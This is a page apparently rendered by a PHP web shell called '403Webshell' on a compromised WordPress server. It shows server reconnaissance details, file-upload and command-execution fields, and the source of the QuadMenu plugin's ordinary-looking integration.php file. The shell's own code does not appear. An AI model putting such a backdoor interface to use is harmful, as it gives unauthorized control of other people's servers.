403Webshell
Server IP : _  /  Your IP : 169.254.129.1
Web Server : nginx/1.28.0
System : Linux 89e302d72aa1 6.6.143.1-1.azl3 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 04:01:14 UTC 2026 x86_64
User : nginx ( 103)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/quadmenu/includes/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wordpress/wp-content/plugins/quadmenu/includes/frontend/integration.php
<?php

if (!defined('ABSPATH')) {
  die('-1');
}

add_shortcode('quadmenu', 'quadmenu_shortcode');

add_filter('quadmenu_get_nav_menu_args', 'quadmenu_add_nav_menu_theme', 10);
add_filter('quadmenu_get_nav_menu_args', 'quadmenu_add_nav_menu_theme_options', 20);
add_filter('quadmenu_get_nav_menu_args', 'quadmenu_add_nav_menu_location_options', 20);
add_filter('quadmenu_get_nav_menu_args', 'quadmenu_add_nav_menu_classes', 30);
add_filter('quadmenu_get_nav_menu_args', 'quadmenu_add_nav_menu_template', 40);

add_filter('wp_nav_menu_args', 'quadmenu_auto_nav_menu_args', 100000, 1);
add_filter('wp_nav_menu', 'quadmenu_lazyload', 1, 2); //5 before customizer
add_filter('wp_nav_menu', 'quadmenu_layout', 5, 2); //5 before customizer

function quadmenu_shortcode($atts = array()) {

  extract(shortcode_atts(
                  array(
      'echo' => 'true',
      'theme' => '',
      'theme_location' => '',
                  ), $atts
          )
  );

  $args = array(
      'echo' => $echo == 'false' ? false : true,
      'theme' => $theme,
      'theme_location' => '',
      'sticky' => 0,
  );

  return quadmenu($args);
}

function quadmenu($args = array()) {

  //Removes the filder in all functions
  //remove_filter('wp_nav_menu_args', 'quadmenu_auto_nav_menu_args', 100000);
  //$args = quadmenu_get_nav_menu_args($args);

  $defaults = array(
      'manual' => true,
  );

  $args = wp_parse_args($args, $defaults);

  return wp_nav_menu($args);
}

function quadmenu_auto_nav_menu_args($args) {

  if (!empty($args['manual']) || (!empty($args['theme_location']) && is_quadmenu_location($args['theme_location']))) {

    $args = quadmenu_get_nav_menu_args($args);

    //remove_all_filters('wp_nav_menu');
    remove_all_filters('walker_nav_menu_start_el');
    remove_all_filters('nav_menu_link_attributes');
    remove_all_filters('wp_nav_menu_objects');
    remove_all_filters('wp_nav_menu_items', 60);
    remove_all_filters('wp_nav_menu_args', 60);
  }

  return $args;
}

function quadmenu_layout($nav_menu, $args) {

  if (!empty($args->menu_template)) {

    $args->menu_items = $nav_menu;

    ob_start();

    quadmenu_get_template($args->menu_template, $args);

    $nav_menu = ob_get_clean();
  }

  return $nav_menu;
}

function quadmenu_lazyload($nav_menu, $args) {

  if (!empty($args->layout_lazyload)) {

    $lazy_menu = preg_replace_callback('/<img .*?>/', function($matches) {
      return preg_replace(array('/\bsrc\s*=\s*[\'"](.*?)[\'"]/', '/\bsrcset\s*=\s*[\'"](.*?)[\'"]/'), array('data-src="$1"', 'data-srcset="$1"'), $matches[0]);
    }, $nav_menu);

    return $lazy_menu;
  }

  return $nav_menu;
}

function quadmenu_get_nav_menu_args($args = array()) {

  static $instance = 0;

  $defaults = array(
      'echo' => true,
      'instance' => '',
      'menu' => '',
      'theme' => '',
      'theme_location' => '',
  );

  $args = wp_parse_args($args, $defaults);

  //var_dump($args);
  // WP
  // -------------------------------------------------------------------------
  $args['depth'] = 99;

  $args['container'] = false;

  $args['items_wrap'] = '<ul class="%2$s">%3$s</ul>';

  $args['walker'] = new QuadMenuWalker;

  $args['id'] = $instance;

  $args['target_id'] = 'quadmenu_' . $instance;

  $args['fallback_cb'] = 'QuadMenuWalker::fallback';

  $instance++;

  return apply_filters('quadmenu_get_nav_menu_args', $args);
}

function quadmenu_add_nav_menu_theme($args) {

  if ($args['theme'] == '' && isset($args['theme_location'])) {
    $args['theme'] = quadmenu_get_menu_theme($args['theme_location']);
  }

  return $args;
}

function quadmenu_add_nav_menu_theme_options($args) {

  static $sticky;

  global $quadmenu;

  $opts = array();

  foreach ($quadmenu as $key => &$val) {
    if (!empty($args['theme']) && strpos($key, $args['theme']) !== false) {
      $opts[str_replace("{$args['theme']}_", '', $key)] = $val;
    }
  }

  $opts['layout_width_inner_selector'] = $opts['layout_width_inner'] ? $opts['layout_width_inner_selector'] : '';

  if ($opts['layout_sticky'] > 0) {
    $sticky++;
  }

  $opts['layout_sticky'] = (int) $sticky > 1 ? 0 : $opts['layout_sticky'];

  return wp_parse_args($args, $opts);
}

function quadmenu_add_nav_menu_location_options($args) {

  global $quadmenu;

  $args['unwrap'] = 0;

  if (isset($args['theme_location']) && isset($quadmenu[$args['theme_location'] . '_unwrap'])) {
    $args['unwrap'] = $quadmenu[$args['theme_location'] . '_unwrap'];
  }


  return $args;
}

function quadmenu_add_nav_menu_template($args) {

  $defaults = array(
      'layout' => 'alert',
  );

  $args = wp_parse_args($args, $defaults);

  $args['menu_template'] = apply_filters('quadmenu_add_nav_menu_template', "layout/{$args['layout']}.php", $args['layout'], $args);

  return $args;
}

function quadmenu_add_nav_menu_classes($args) {

  $args['menu_class'] = 'quadmenu-navbar-nav';

  $classes = array();

  $classes[] = 'quadmenu-' . $args['theme'];
  $classes[] = 'quadmenu-v' . QUADMENU_PLUGIN_VERSION;
  $classes[] = 'quadmenu-align-' . $args['layout_align'];
  $classes[] = 'quadmenu-divider-' . $args['layout_divider'];
  $classes[] = 'quadmenu-carets-' . $args['layout_caret'];
  $classes[] = 'quadmenu-background-' . $args['navbar_background'];
  $classes[] = 'quadmenu-mobile-shadow-' . $args['mobile_shadow'];
  $classes[] = 'quadmenu-dropdown-shadow-' . $args['dropdown_shadow'];

  if (in_array(sanitize_key($args['layout']), array('offcanvas', 'vertical'))) {
    $classes[] = 'quadmenu-offcanvas-' . $args['layout_offcanvas_float'];
  }

  if (!empty($args['layout_hover_effect'])) {
    $classes[] = $args['layout_hover_effect'];
  }

  if (!empty($args['layout_classes'])) {
    $classes[] = $args['layout_classes'];
  }

  $args['navbar_class'] = join(' ', array_map('esc_attr', $classes));

  return $args;
}

function quadmenu_get_template($template_name, $args = array(), $template_path = '', $default_path = '') {

  if ($args && is_array($args)) {
    extract($args);
  }

  $located = quadmenu_locate_template($template_name, $template_path, $default_path, $args);

  if (!file_exists($located)) {
    _doing_it_wrong(__FUNCTION__, sprintf('<code>%s</code> does not exist.', $located), '2.1');
    return;
  }
  // Allow 3rd party plugin filter template file from their plugin
  $located = apply_filters('quadmenu_get_template', $located, $template_name, $args, $template_path, $default_path);

  include( $located );
}

function quadmenu_locate_template($template_name, $template_path = '', $default_path = '', $args = null) {

  if (!$template_path) {
    $template_path = quadmenu_layout_path();
  }

  if (!$default_path) {
    $default_path = QUADMENU_PLUGIN_DIR . 'templates/';
  }

  // Look within passed path within the theme - this is priority
  $template = locate_template(
          array(
              trailingslashit($template_path) . $template_name,
              $template_name
          )
  );

  // Get default template
  if (!$template) {
    $template = $default_path . $template_name;
  }

  // Return what we found
  return apply_filters('quadmenu_locate_template', $template, $template_name, $template_path, $default_path, $args);
}

function quadmenu_layout_path($slash = false) {
  return apply_filters('quadmenu_layout_path', 'quadmenu') . ( $slash ? '/' : '' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit